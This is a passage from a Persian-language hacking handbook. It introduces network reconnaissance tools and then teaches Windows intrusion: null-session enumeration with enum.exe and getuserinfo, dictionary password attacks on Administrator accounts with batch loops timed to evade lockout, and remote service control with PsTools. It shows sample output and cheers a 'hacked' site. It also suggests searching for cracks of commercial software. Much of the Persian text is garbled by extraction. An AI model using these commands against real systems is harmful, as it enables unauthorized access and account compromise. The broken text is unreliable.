Cons  :       شرفته جهت بکارگيری سيار پي ن وس       SamSpade برخی از ویژگی های ب ا ای ه ب انی مشکل هستند ک نایی نداشته    زم يله آش
ورت   . همچنين پورت اسکنر برای اسکن یک یا دو ميزبان جهت دامنه پورت ها کافی می باشد         . باشيد   با این وجود ، به منظور اسکن پ

  .بسيار پيشرفته ، یکی از اسکنرهای پورت را با قابليت فراوان مورد استفاده قرار دهيد 
  

  : استفاده نمایيدبرای دریافت این نرم افزار از لينک زیر
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http://static.samspade.org/ssw/spade114.exe 
  

  :برای مشاهده سایت این نرم افزار و دریافت اطلاعات بيشتر از لينک زیر استفاده نمایيد
www.samspade.org 

  
  
  
٢- Net Info:    
  

  
  

  .رد کنيد مشکل تجاری بودنش حل می شود در موتور های جستجو واCRACKواژه + نرم افزار تجاری است ولی وقتی اسم آن را 
  :دارای قابليتهای زیر می باشد . یک سری چيز بيشتر و یک سری کمتر داردSAM SPADEنسبت به نرم افزار 

١- Local Info :        ا ه م يم ب زار اجرا ميکن همانطور که معنی واژه و عکس ميبينيد یک سری اطلاعات درباره ماشينی که روش نرم اف
ا        (  و مشخصات آن  WIN Sock  ماشين ، نسخه IPنام کاربر ، آدرس : لا مث. ميدهد  سی تحت شبکه ب ه نوی ه برنام ایی ک  ++C/Cآنه

   .UDP، حالت سيستم تعداد سوکت های آزاد ، اندازه بسته های .) ميکنند ميدانند چی هست
  
٢- Connection :   مشخصات تمام ارتباطTCP و پورت های باز UDPطی موجد را نشان ميدهد و حالت ارتبا.  
  
٣- PING :   دقيقا مثلSAM SPADE است کارش .  
  
۴- TRACE :   دقيقا مثل گزینهNslookup در نرم افزار SAM SPADE است کارش .  
  
۵- Lookup :   دقيقا مثلSAM SPADE است کارش .  
  
۶- Finger :   دقيقا مثلSAM SPADE است کارش .  
  
٧-  Whois  :  دقيقا مثلSAM SPADE است کارش .  
  
٨- Day Time :        د ام را کشف کن ين ن ه هم رای  ( این یکی سعی ميکند که ساعت و تاریخ ماشين هدف درصورت اجرای سرویسی ب ب

ئن     VISAL RUTORفهميد اینکه این ماشين تو کدام کشور است البته ابزار گرافيکی بهتری است در این باره با نام  ار مطم ن ک  که ای
  ).دهد تر انجام مي

٩- Time :  برای  بدست آوردن زمان از یک سرویس دهنده مشخص که البته کاربر باید آن را مشخص کند.  
  

١٠- HTML :  دقيقا مثل گزینه Web Browser در نرم افزار SAM SPADE است کارش .  
  

١١- Scanner :      این گزینه راSAM            ج مشخص از     هم دارد که برای پيدا کردن ماشين های فعال در یک رنIP        ون بهش می  که خودت
  .دهيد
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١٢-  Services :                     ه آن ماشين ی را ک ناخته شده ای سهای معروف و ش ا سروی یک چيز خيلی بدرد بخور است با گرفتن نام ماشين از م

  .ارائه ميدهد را پيدا کرده و به ما نشان ميدهد
  .دیگه همين

  
٣- Net Scan Tools :   
  

  
  

ی            خوب این هم تجاری ولی ک      اد هست یک جور آی ارای آن اسيدی و اساسی و درست ، من قبول دارم این ، البته از نوع نرم افزارها زی
  .سليقه ای است البته من آنهایی را معرفی ميکنم که از این همه جواب خود شان را درس پس داده باشند خوب بسه بریم سر کارمان 

ی است            .قيه منوهای آن برای تبليغ است      چون ب  TOOLSتوصيه ميکنم یک راست برید در قسمت         زار قبل د دو اب ایی مانن ه ه دارای گزین
شه     ( اما با این تفاوت که کامل تر و البته قوی تر            د همي يم سعی کني من با تجربه ای که دارم چون ما داریم از یک نرم افزار استفاده ميکن

د   از به روز بودن آن مطمئن باشيد ، دوما  سعی کنيد هميشه یک کار                با چند نرم افزار مختلف انجام بدهيد و نتيجه ها را با هم مقایسه کني
البته این را اضافه کنم این سرویس ها دیگه  . که من از توضيح آنها صرف نظر کرده ام ) زیرا هر کدام در انجام یک کاری قوی هستن        

    .echo  ،  Daytime  ،  Quote  ،  Chargen : منسوخ شده و هيچ راهبر شبکه ای ریسک نميکند و آنها را فعال بگزارد  مثل
  

  یعنی فقط نتایج برای کامپيوتر شما   Local همگی  NetBIOS و Winsock Info  و  TimeSync  و Database Testsکليد های 
د و     ) Database Tests( که اولی .  است را نشان ميدهد  شان ميده دام را ن د   .. .سرویس ها و پورت های مربوطه هر ک راحت ميتواني

اره          . با آن بازی کنيد تا بفهميد چه کار ميکند             دومی برای تغيير زمان است  و سومی را که بالا گفتم چی هست و آخری اطلاعاتی در ب
NetBIOS        اج خو         .  کامپيوتر به شما می دهد ه احتي ا ب ا  بن د پيکر  که البته شما همگی اینها را ميتوانيد دست کاری کرده و به دلخواه و ی

  . ميتوانيد با توجه به پروتکل انتخابی خود به هدف خود وصل شوید Launcherبا کليد . بندی کنيد 
  و  Port Scan به بعد نيست و ۵ که از نسخه Port Probeبا عنوان های ) زیاد جدی نگيرید (  تا امکان فوق جذاب دارد ٣این برنامه 

 TCP TERM.    
ج مشخص           Net Scannerگزینه دیگری با نام  ال در یک رن دا کردن ماشين های فع رای پي ی ب   IP دارد که البته مثل دو نرم افزار قبل

د از               Port Scannerگزینه . است ارایی خوبی است بع ه دارای ک انی است البت از روی ماشين قرب ورت های ب   برای جستجو کردن پ
nmapنتایجی را که نمایش ميدهد با یک نماد کنارش است اگر دایره سبز نشان .  ميشود گفت بهترین هست یا لااقل جزو بهترین ها است

ده                    bداد یعنی پورت باز است اگر دایره سبز با یک حرف             از کنن از است و اطلاعاتی از سرویس ب ورت ب ی پ  در داخل آن نشان داد یعن
  .ز دسترسی به آن جلو گيری کرده است پورت را هم کشف کرده بقيه نماد ها هم یعنی پورت بسته است یا اینکه دیوار آتش ا
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ه       TCP TERMگزینه بعدی  ی خوب است البت ه خيل يد ک  است که با آن ميتوانيد به یک پورت خاص وصل شده و فعل انفعال داشته باش
NC و Telnet هم این کار ها را ميکنند .  

  
۴-  WS-Ping Pro Pack:    
  

  
  

شود          نرم افزار قبلی کارایی یک سانی      ٣این هم مثل      دارد تجاری است اما مثل قبلی ها کرک زیاد دارد روی تمامی نسخ ویندوز اجرا مي
  :دارای گزینه های زیر است 

Info :            اطلاعات مقدماتی در باره هدف بدست ميآورد از قبيلWhois   و DNS  ام           ...   و البته اگر نام را مينویسيد باید کامل باشد یعنی ن
  . را وارد کنيدIP  ننویسيد چون یکم مشکل پيش می آید توصيه ميکنم آدرس WWW.xxx.comنه مثلا . کامل ماشين باشد 

HTML :  گزینه ( مثل گزینه های مشابه خود Web Browser در نرم افزار SAM SPADE و گزینه  HTML در نرم افزار net 
info (      الای است زار ب رم اف املا ...  وLook up و Trace Route و Ping.در دو ن ه         ک الایی است ک ایی ب زار ه رم اف شابه ن ل و م  مث

  .توضيح آنها صرف نظر ميکنم
و               نم ت خوب تا به حال یک سری نرم افزار شناسایی مقدماتی هدف را معرفی کردم از این جا به بعد من یک سری نرم افزار معرفی ميک

  !!همين مایه ها 
  

Rhino 9 Pinger:    
  

  .دارای سرعت و دقت زیادی است. است IPاشينهای درون شبکه با دادن یک رنج یک نرم افزار برای تشخيص بالا بودن م
  

Visual Route:   
  

ه موقعيت                 Trace routeیک نرم افزار  ن یکی ، یک محيط گرافيکی دارد ک ا  ای زار ه رم اف وع ن ن ن د ای ار ميکنن تم چه ک  است که گف
ام     ١٠سخه اش فکر ميکنم نسخه آخرین ن.تقریبی از مکان ماشين به ما ميدهد مثلا کشور و شهر      ا ن  باشد که این شکلی از سایت خودش ب

com.visualroute.www   یک سری نرم افزارهای دیگری هم دارد که اگر خواستيد ميتوانيد بگيرید.  ميتوانيد بگيرد.  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٦١    صفحه

  
  .گان است روز اول رای١۵ است برای 9.2aالبته این نسخه 

  
    :Necrosoftابزارها ی شرکت 

  
ورد  ه در م ام   Trace route  وDNS و Whoisک ا ن ودش ب ایت خ ه از س ت ک الا اس ارای ب ا ک ه ب اده و البت سيار س ت و ب  اس

org.nscan.wwwميتوانيد دریافت کنيد   .  
  
  
  

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

   :Win finger print ابزار 
  

 است که البته یک ابزار متن باز یا به اصطلاحی  Win finger printیک ابزار همه کاره دیگر که به شدت در حال توسعه است ابزار 
open Sours رای  . است که کامل توضيح ميدهم آن را ه  جالب است           Linuxالبته این در اول ب د ک دوز آن آم سخه وین دا ن ی بع ود ول  ب

  .توانيد کد منبع آن را خودتان ویرایش کرده با توجه به نيازتان بعد آن را کامپایل کنيدالبته می 
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  .از امکانات این برنامه را در اختيار شما ميگزارد% ٣۵یک چيز اول از همه بگویم که رابط کاربری این برنامه فقط 
ابلو  Enumeration Optionاین نرم افزار دارای یک رابط کاربری می باشد که قسمت   فقط توضيح ميدهم چون گزینه های دیگر آن ت

د                              !!! است کارشان    م تست ميکن دارد ه ن پنجره وجد ن م در ای ه آن را ه گزینه اول که معنی واضح ایی دارد و تمام امکاناتی را که گزین
د نيست ؟      !! ولی کنترلی روی آنها ندارید پس هيچی         ی ب ه    !؟!؟!ول ال چيزهای ب      Shares؟ گزین ه اشتراک گذاشته شده روی ماشين           دنب

ا نتيجه ای داشته باشد           ١٣٩ و یا    ۴۴۵قربانی ميگردد البته باید یکی از پورت های          ه دارد و          .  باز باشد ت ن برنام ه ای اتی ک یکی از امکان
ات خ                   Roleاتفاقا هم کارایی خوبی دارد گزینه        راه جزئي ه هم ستم عامل روی آن ب وع سرور و سي شخيص ن ی خوب    است که کارش ت يل

ه       Allاست که متاسفانه گزینه آن در نسخه های جدید حذف شده و شما باید آن را از خط فرمان بعلاوه سویچ این گزینه اجرا کنيد یا گزین
دیم       Userامکان دیگر  .را انتخاب کنيد سخه های ق د و در ن سخه های جدی ستمی       USER NAME در ن ه شناسه سي ن گزین ه ای   است ک

)SID (   ستم                  هر یک از ک دیر سي د شناسه م رده و شما ميتواني د   ) SID=500( اربران سيستم را کشف ک دا کني ه    . را پي ه دیگری ک گزین
د                  Servicesمورد برسی قرار ميدهم گزینه       ا می گوی ه م زار را ب رم اف سخه ن ال  بعلاوه ن ام سرویس های فع ه تم ه بعدی   . است ک گزین

ستی از اسامی         است که کار این گزینه این ا  Sessionsگزینه   ا لي ه م ه ب ستم        NetBIOSست ک ه سي ه ب ایی موجود را ک ستم ه ایر سي  س
د  ا ميده ه م صل است ب صد مت دی . مق ه بع ه    Registryگزین ازه دست رسی از راه دور ب ه اج ن ک اره ای و درب رس ج ه یک پ  است ک

Registry   ا       خوب گزینه های مهم این با توجه به. را ميدهد یا نه و یکسری خورد ریز دیگه ه اش ب تم بقي ه شماها گف ه دارم ب  تجربه ای ک
  !!خودتان راستی حتما این تحت خط فرمان اجرا کنيد و یک زره ای با آن بازی کنيد ببينيد بدرد تان می خورد یا نه

  
     :joewareابزار 

  
.  توسعه یافته اشاره کردJoe Richards  که توسط آقای joewareابزار دیگری که برای ویندوز ميتوان معرفی کرد به مجموعه ابزار 

ه خوب         Get User Infoکه من یکی از این ابزار ها را زیاد استفاده می کنم به نام  م دارد ک شتری ه ن مجموعه ، ابزارهای بي ه  ای  البت
  .هم بخورداست ولی این یکی را دوست دارم چون کار راه می اندازد برای من ، که به شما ها هم ميگویم که شاید به درد شماها 

ای       Net userاین ابزار خروجی حاصل از اجرای آن بسيار شبيه فرمان  ن فرمانه رای شماها ای ه اگر دوام آوردم ب   net  خود ویندوز ک
ببينيم که بعد از اجرای این نرم افزار با . را توضيح ميدهم ، ولی یک سری تفاوتهای اساسی دارد که این ابزار را ، از بقيه متمایز ميکند       

  . چه جوابی به ما ميدهدAdministratorنام کاربر 
C: \> getuserinfo.exe administrator 
Getuserlnfo V02.05.O0cpp Joe Richards (joe@joeware.ne) 
January 2002 
User information for [Local]\administrator 
User Name                                Administrator 
Full Name 
Description                                Built-in account for 
                                                administrating               
                                                the Computer/domain 
Users Comment 
User Type                                  Admin 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٦٣    صفحه

Enhanced Authority 
Account Type                          Global 
Workstations 
Home Directory 
L User Profile 
Logon Script 
Flags                                     NO_PWD_EXPIRE 
Account Expires                     Never 
Password age in days          249 
Password last set                   7/6/2001 3:22 PM 
Bad PWD count                      0 
Num logons (this machine)       2432 
Last logon                              3/12/2002 8:24 PM 
Logon hours                            All 
Global group memberships       *None 
Local group memberships        *Administrators 
Completed . 
 

ه در     . را با خط زرد نشان داده ام  Net userتفاوتهای این برنامه را با  ور بدست آورده است ک د  اطلاعات با قيمتی  در باره کلمه عب فيل
 که  کار ما را برای تجزیه و  نمایش ميدهدNum logons (this machine) و Bad PWD count و Password age in daysهای 

 را ميتوان گفت که نشانه ای از تلاش برای دستيابی به کلمه عبور فرض کرد و مقدار Bad PWD countفيلد . راحت ميکند ... تحليل و
د     شان ميده تباه را ن د  .این موعد قفل شدن حساب را بواسطه اسرار در بکارگيری کلمات اش ر   Password age in days فيل ان تغيي  زم

د   شان ميده ر حسب روز ن سورد را ب ردن پ د . نک ایش   Num logonsفيل ساب را نم ن ح ين توسط ای ه ماش دن ب ات وارد ش داد دفع  تع
  :برای دیدن نام تمام کاربران با این نرم افزار از دستور زیر استفاده ميکنيم .ميدهد

C:\>Getuserinfo.exe \. 
  : ميکنيم که مثلا جواب ميگيریماستفاده

C:\>Getuserinfo.exe \. 
Getuserlnfo V02.05.O0cpp Joe Richards (joe@joeware.ne) 
January 2002 
User Accounts For [Local] 
------------------------------------------------------------------------------------------------------------------ 
Administrator               Orc                             Skycladgirl 
Test                              __Vmware_user__      
 

  : به این صورت کهRemote  است هم  Localخوب این را ذکر کنم که این ابزار هم 
C:\> Getuserlnfo.exe  \\ x.x.x.x\. 
C:\> Getuserlnfo.exe  domain \\x.x.x.x\. 

  ) . هدف مورد نظر خود را بنویسيدIP شماره x.x.x.xبه جای (  مورد نظر ما را نشان ميدهد IPخوب این دوتا ليست کاربر های 
  .بنویسيد و اطلاعات تکميلی را بگيرید( . ) البته بعد از بدست آوردن ليست کاربران ميتوانيد اسم آن کاربر را به جای 

  
   :ENUMار ابز
  

  . است ENUMابزار دیگری که معرفی ميکنم که البته دارای قابليتهای خوبی نيز هم هست 
مثل بيشتر نرم .این ابزار از نوع کد باز بوده و کد های آن در دسترس همگان است پس اگر نيازی به تغيرات داشتيد دست شما باز است          

ورت     البت.  است++Cافزار های خفن کد های آن بر پایه      د پ زار بای ن اب رای      ١٣٩ه این را بگویم که برای نفوذ با ای ط ب ه فق از باشد البت  ب
  !!گزینه های این نرم افزار بسيار است که البته من مثل روال مقاله همه آنها را توضيح نمی دهم .نفوذ باید این پورت باز باشد

 کلمه عبور و نام کاربر ميخواهد و کار دیگه ان جمع آوری اطلاعات از قابليتهای این برنامه بسيار زیاد است مثلا وقتی از شما سيستمی     
ه      . سيستم هدف است که من فعلا دنبال این هستم نه چيز دیگه ایی البته اولی را هم توضيح ميدهم   د برنام ان اجرا ميکني وقتی در خط فرم

  :را این ها را می بينيد
C :\> enum.exc 
Usage: enum.exe        [switches]           [hostname │ip] 

-U:  get user list 
-M: get machine list 
-N: get name list dump (different from -U │-M) 
-S: get share list 
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-P: get password policy information 
-G: get group and member list 
-L: get LSA policy information 
-D: dictionary crack, needs -u and -f 
-d: he detailed, applies to -U and -s 
-c: don’t cancel sessions 
-U: specify username to use (default "" ) 
-p:  specify password to use (default "" ) 
-f:   specify dictfile to use (wants D) 

 
  !!!!هورا .ر توضيح بدهم که این دفعه سعی می کنم بر خلاف روال مقاله یک کمی بيشت

وهی  ۴۴۵ و یا ١٣٩ از طریق پورت $IPCبا فرض این که منبع مشترک   " توجه کنيد   " گزینه اول    ) ٧( هفت    قابل دست یابی است انب
د  ع آوری می کن ا جم رای م ستم هدف ب اره سي وع.( اطلاعات را درب ی از ن ه قبل ه و برنام ن برنام م در ای انی ه ا قرب ا ب صال م ه ات  البت

NULL گزینه با هم امکان پذیر است ولی آنقدر به ما جواب ميدهد که گيج ميشویم ٧اجرای این ). یعنی ناشناس است .  
C:\ enum.exe UMNSPGLD 192.168.0.3  

تفا                           ه ميگویم اس ات ک ن ترکيب ده همانطور که گفتم این دستور درست است ولی جوابها زیاد و تجزیه تحليل آن مشکل است من عملا از ای
  : را استفاده ميکنم مثلUPGمثلا من ترکيبی از سویچ های .ميکنم 

C :\> enum UPG xxx.xxx.xxx.xxx 
Server: xxx.xxx.xxx.xxx 
 
Password policy: 
                 min length: none 
                 min age: none  
                 max age: 42 days 
                 lockout threshold: none 
                 lockout duration: 30 mins 
                 lockout reset: 30 mins 
getting user list (pass 1, index 0) . . . success, got 5. 
                Administrator Guest IUSR_ALPHA   IWAN ALPHA 
                Tslternet User 
Group: Administrators 
ALPHA \ Administrator 
Group: Guests 
ALPHA \ Guest 
ALPHA \ Ts Internet User 
ALPHA \ IUSR_ALPHA 
ALPHA \ IWAM_ ALPHA 
Group: Power Users 

ه هيچ     .همانطور که می بينيد به واسطه وجد خطوط زرد پی به این موضوع می بریم که این ماشين هلو است       محدودیتی  واضح است ک
شانه های     در برابر حدس زدن نادرست کلمه توسط  ا وجد ن ریم    )IWAN ALPHA  و   IUSR_ALPHA(مهاجم وجد ندارد و ب ی ميب ا پ  م

  )!!!!هورا سایت هک شد دیگه ( در پيت مایکروسافت است IISاحتمال قریب به یقين ) WEB( که نرم افزار سرویس دهنده وب 
  . را به ما می دهدTerminal Servicesاز فعاليت سرویس  خبر Tslternet Userو نشانه 

  :می نویسيم . اجازه دهيد یک ترکيب های سویچ دیگری را هم بگویم 
C :\> enum.exe MNS  xxx.xxx.xxx.xxx 
Server: xxx.xxx.xxx.xxx 
Setting up session … success. 
Getting namelist (pass 1) … got 5, 0 left: 
        Administrator Guest IUSR_ALPHA    IWAM_ALPHA 
        TsInternetUser 
Enumerating shares (pass 1) … got  3 shares , 0 left: 
         IPC$ ADMIN$ C$ 
GETTING MACHINE LIST  (PASS 1 , INDEX 0) … SUCCESS , GOT 0. 
CLEANING UP … SUCCESS. 

  
ز آشکار شده است            همانطور که می بينيد علاوه بر    تفاده را ني ورد اس ابع مشترک م اربران موجود من ایش ليست ک ه     . نم ا توجه ب ه ب البت

ه صورت             ه ب ه در خروجی برنام ارد است ک و ه اطلاعات بالا ميتوان حدس قریب به یقين زد که سيستم مورد نظر فقط دارای یک درای
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C$      يم  می دان ( با توجه به این اطلاعات      . نمایش داده شده استIIS    ند وب  " می توان این جوری نتيجه گرفت که  )  هم دارد ا  " ریشه س ی
این ترکيبی که به شما .  قرار دارد C:\Winnt\temSys32 نيز بر روی همين درایو و در موقعيت Web document rootاصطلاحا 

سپلویت است   در پيت با توجه به داشتن بی       IISیاد دادم ترکيب اساسی عليه سرویس دهنده وب مخصوصا           ه  .  نهایت  باگ  و اک  L–گزین
ا    ) LSA و یا Local Security Authority( در این برنامه اطلاعاتی در مورد خط مشی احراز هویت در سيستم محلی  ار م در اختي

  .قرار ميدهد 
 !!! فاقد رمز عبور باشد ( SID=500 )خوب ممکن است اغلب با موارد خاصی روبه رو شوید که حساب مدیر 

  . می توان اطلاعات مربوط به شناسایی یک کاربر به خصوص را مورد برسی قرار دادp– و u–با بهره گيری از دو گزینه 
C:\>enum.exe –UMNSPGL –u administrator –p " " xxx.xxx.xxx.xxx 

  
  !!!زنگ تفريح 

ن   .برای تمام خاندان خود باز کردن  تا حساب مدیر روی سرور     ١٠  زدن  و      ISPاین برای پولدار ها ميگویم که رفتن         حتما تا به حال ای
ل نمی   ) وارد کردن هزاران بار کلمه عبور نادرست  ( هرگز به واسطه تلاش ناموفق       ) administrator(می دانستيد که حساب مدیر       قف

ن عيب یک     . مدیرشود و همين باعث ميشود نفوذ گرها وسوسه بشوند تا شانس خود را امتحان کنند برای کشف کلمه عبور                    برای رفع ای
زاری      رم اف سته ن ام   Windows Resource Kitنرم افزاری هست در ب ه ن ن عيب را      Passport/administrator ب ا حدودی ای ه ت  ک

  .برطرف کرده دیگه بقيه کار با خودتان 
  

د                      ه کن ه البت زار ک رم اف ن ن ا ای ور ب ه عب م    ( برای کشف کلم ورد ا    !!) سرعت ک ن م م هست در ای ن       ه ه ای يم ب تفاده ميکن ر اس ان زی ز فرم
  :صورت 

C:\>enum.exe –D –u Administrator –f  dict.txt 
ه جای      administratorکه شما ميتوانيد به جای نام کاربر    د و ب رار دهي تفاده ق م آدرس  dict.doc هر نام کاربر دیگری را مورد اس (  ه

  .حمله خود را وارد کنيد ) دیکشنری (  فرهنگ لغت و نام) در صورت اینکه این فایل در همان پوشه نباشد 
ود        . خوب این برای حساب های مدیر است که هيچ محدودیت زمانی و طول کلمه ندارد است        ه ای ب ه گون ی ب اما اگر  سياست های امنيت

د                  ا بای ان مشخصی م ه مدت زم ا      که مثلا با تعداد چند بار وارد کردن اشتباه کلمه عبور حساب قفل می شود ب يم ؟ خوب بعضی ه چه کن
  .امکان پذیر است % ١٠٠فکر می کنند کار دیگر محال است اما من با روشی که یادتان می دهم مدت این کار خيلی زیاد ميشود ولی 

ه       p–اول سياستهای کلمه عبور را با سویچ . خوب با یک مثال آموزش ميدهم  د ک د می فهمي ه داری     بدست می آورید که با اطلاعاتی ک
م          (  دقيقه قفل می شود      ٣٠ بار کلمه عبور اشتباه  حساب برای         ۵مثلا بواسطه وارد کردن      در این مدت حتی با وارد کردن کلمه درست ه

ور داد       ه عب ه آن کلم ار از دستور     ) به شما امکان  ورود به حساب هم داده نمی شود و یا حتی در این مدت اصلا نمی شود ب ن ک رای ای ب
   ) : Sleepبا استفاده از تابع تاخير( نيم زیر استفاده می ک

  
C :\>For /F %%p in (dict.exe) do enum.exe    u Istari   p  %% p  M xxx.xxx.xxx.xxx >> output.txt && 
sleep 180s 

  ...ساب مدیر و است که به راحتی می توانيد حساب های هم گروه را کشف کنيد مثلا تمام نام کاربر ها با مجوز حG–خوب یک سویچ  
ارایی دارد      ( یک نکته   . این گفتم تا تجربه اساسی خودم را در اختيار شما ها بگزارم              م ک ه  " این مثال کلی و در بقيه موارد ه را " دوگول

ا       limitاگر شما تمام نام کاربر ها با مجوز مثلا      ) روشن کنيد  رای حداقل یکی از نامه ور ب ه عب اربر    را بدانيد احتمال پيدا کردن کلم ی ک
تفاده          !! ) چرای این قضيه را خودتان بفهميد       ( برای شما بيشتر است    ر اس ان زی الا  از فرم سائل ب ه م ا توجه ب برای استفاده از این نکته ب

  :ميکنيم 
  

C:\> for /F %%p in ( dict.txt ) do for /F %%u in (users.txt) do enum.exe   %% u in (usres.txt) do 
enum.exe     u %%u     p %%p  M  xxx.xxx.xxx.xxx >> output.txt 

  
ور کوچک                          ل  حاوی کلمات عب ه فای ی ميرسد ک ه     ( این روش هنگامی به اوج سوپر خفن ری کلم داد کمت اربران      ) تع ام ک ل حاوی ن و فای

  .بزرگ باشد
ام نکات و ت                          ه تم ن مقال ه ای رخلاف روی دم ب دم دی ا               خوب الان که داشتم دوباره این مبحث ميخوان رده ام ام ز رو ک ه های خودم را ني جرب

ودم                  ه نب ده شدم هکر ک ه زایي رفتم و از اول ک اد گ ن آن ی ردم       !! اشکال ندارد بعضی ها را هم من از ای ا را خودم کشف ک یک سری ه
  .بيشتر آن را هم دیگران ، پس بگزار من به دیگران هر چی بلد هستم یاد بدم 

  
   :Pstoolsجعبه ابزار 

  
ستم و دسترسی                Pstoolsبعدی که ميخواهم یاد بدهم جعبه ابزار        خوب ابزار    اربران سي ه اطلاعات ک  است که خلا موجود بين دستيابی ب

ای     .کامل به خود سيستم را پر ميکند  ه همت آق ه و از   Mark Russinovichاین مجموعه ب ا  توسعه یافت د  اینج د بگری ه   . ميتواني ن جعب ای
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ر خلاف دو                 ر جمع آوری حداکثر اطلاعات ممکن گذاشته شده ب ه چون اساس ب ن است ک م ای و مشکل دارد و آن ه زار یک کوچول اب
  .ارداستفاده نمی کند و یک کمی  رد دست نميدونم شاید پا هم بگذ ) NULL( ابزاری که بالا توضيح دادم از اتصال ناشناس 

  برای این که این مجموعه درست کار کند و ما نتيجه حداکثری بگيریم باید حداقل چند شرط زیر نصفه نيمه برقرار باشد
  .لازم است به اطلاعات کاربران دست رسی داشته باشيم •
 . هم باشدNet Logonبد نيست سرویس . روی آن ماشين راه بی اندازیمServerلازم است یک سرویسی به نام  •
 . دست رسی از راه دور داشته باشيمRegistryد نيست به ب •
 . باید در دسترس باشد$IPCمنبع مشترک  •

زار       ه اب د               ١٠این جعب دیل ميکن ه لحظات شيرینی تب ستم را ب دیریت سي د م ع فراین ه واق ه ب و دارد ک ه هل ن مجموعه    . برنام ای ای از قابليته
  ... )خيلی زیاد امکانات آن و... (ی دستور ها روی آنها وميتوان به دسترسی به چندین ماشين در آن واحد و اجرا

  
   :PsFileابزار اول 

  
ه    . استفاده ميکند آشکار نمود   ) همان ماشين اجرا کننده دستور    ( شما با این ابزار می توانيد فایلهای که ماشينی دارد از ماشين دیگر             ه گون ب

د       . ه اید  استفاده کردNet fileایی می شود گفت که انگار از فرمان  ا آن می توان ا چون ب ا م خوب این ابزار به درد مدیر بيشتر بخورد ت
  .کارایی دارد...  جهت اشکال زدایی در اشتراک فایلها و رد یابی غير مجاز دسترسی ها و

  
  :ه دور استفاده کردتمام این ابزار ها را می توان به صورت زیر برای کار برد از را. خوب این یک بار ميگویم برای کل این ابزارها 

\\RemotHost  -u  user name    -p    password 
 

    :PsLoggedOnابزار 
  

ق                 PsLoggedOnابزار بعدی که آن هم فقط اندکی بدرد ما ميخورد ابزار             ه از طری ی را ک   است که کارش این است ليستی از کار بران
د                 د را مشخص ميکن دل             از.راه دور به یک منبع مشترک متصل شده ان ه از م ه گون داختن یک حرکت حمل د راه ان سان ب اه یک ان د گ  دی

  .سرریزی بافر به ماشينی که تعدادی کاربر به آن متصل هستند زیاد جالب نباشد 
  

   :Ps Get Sidابزار 
  

ه  Ps Get Sidابزار سومی که من معرفی ميکنم ابزار  اربر    یک SID است که همانطور که از نام آن ميفهميد به ما ميگوید ک  حساب ک
ان عدد    ۵٠٠ عدد Sidچند است با توجه به دانستن این موضوع ميفهميم که مثلا هميشه حساب مدیر آخر                 در . است  ۵٠١ و حساب ميهم

  ...نتيجه دیگر با عوض کردن نام حساب مدیر به ميهمان ما گول نمی خوریم و 
C:\> psgetsid.exe  \\ xxx.xxx.xxx.xxx  -u  Administrator -p  

  :بعد اینجوری جواب ميدهد
IM! Secure ORC SID for xxx.xxx.xxx.xxx \\ OCR: 
S-1-5-21-145-4471165-484763869-1708537768-501 

  !!!!خوب حالا ما ميفهميم که این آقای مدیر نام کاربری حساب مهمان را عوض کرده و گذاشته مدیر 
ایر کاربرهای                   در مو  SIDخوب این بگویم که لازم نيست تا در خواست           د شناسه س ه ميتوان ن بگم ک رد یک کاربر خاص اعمال شود ای

  .یک سيستم را هم برگرداند
   :PsInfoابزار 

  
زار               ) ۴( ابزار فانه اب شوند از راه دور متاس  PsInfoچهارمی که  معرفی ميکنم و خيلی هم خوب است اما فقط به صورت محلی اجرا مي

 Registryخوب اگر شما به .را ميدهد به ما...  های نصب شده وHot fixو ریشه اصلی و ليست است که کار آن شناسایی سيستم عامل 
  .  به همين اطلاعات دست یابيد Registryدسترسی از راه دور دارید ميتوانيد از شاخه زیر در 

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix 
  : این ابزار بدرد بخور هم یک راه  است و آن هم استفاده از دستورخوب برای رفع عيب نه چندان کوچک

  
C:\>for /L %I in (1, 1, 254) do PsInfo \\xxx.xxx.xxx.xxx.%i > systeminfo_xxx.xxx.xxx.xxx. %i.txt 

  
اربری  توجه کنيد این بچ فایل بدون نام کاربر و کلمه عبور است که بهتر است برای شما ها هم همين جور باشد و    حتما آن را در  قالب ک

  .از حوزه مورد نظر اجرا کنيد 
  

    :PsServiceابزار 
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زار  زار  ) ۵( اب نم اب ی می ک ه معرف نجم ک ل  PsServiceپ شان دادن ک ا و ن ردن سرویس ه داختن و متوقف ک ارش راه ان ه ک   است ک

دون هيچ سویچ     .  استNet Stopو    Net Startاین ابزار خيلی شبيه دو فرمان .سرویسهای اجرا شده می باشد  اگر این ابزار را تنها ب
  .اجرا کنيد ليست تمام سرویس ها را به شما ميدهد

  :شما با فرمان زیر می توانيد مثلا سرویسی را روی یک ماشين از راه دور شروع و یا متوقف کنيد
C :> psservice.exe \\xxx.xxx.xxx.xxx Start W3svc 

  !! را روی یک سرور آپاچی راه می اندازد IISکه این فرمان سرویس 
  . اطلاعاتی در باره وضعيت سرویس در اختيار ما ميگزارد queryسویچ 
  . اطلاعاتی در باره برنامه ایی که  سرویس مورد نظر در حال اجرای ان است به ما ميدهد Configسویچ 
  .ست  برای آشکار کردن سرویس های در حال اجرا روی شبکه اFindسویچ 

ه سرویس       وان دستور را      Terminal Servicesمثلا به منظور کشف کردن ميزبان هایی از یک حوزه شبکه ک د می ت  را اجرا ميکنن
  .اینگونه نوشت 

C :\> psservice.exe find termservice 
Found termservice.exe on: 
\\sun 1 
\\rostay 3 

  .ار و یک اسکنر پورت ميتوانيد سرویسهای مسئله دار را کشف کنيدخوب این بگم که شما با استفاده از این نرم افز
  

  Pslistابزار 
  

د و                  ) ۶(ابزار   د راست ميرن رای شما   … ششم خوب با این ميتوانيد حال آنهایی را که با داشتن لينوکس هی ، چپ ميرن می  " قمپض  " ب
  )پسرها نوشتم بله این مقاله را فقط برای .!! ( ترکاندند را سر جایشان بنشانی پسرم

  . استPslistاسم این ابزار 
ا اضافه کردن سویچ           ستم از راه دور را دارا ميباشد و ب این ابزار توانایی ليست کردن فرایند های موجد برروی سيستم محلی یا یک سي

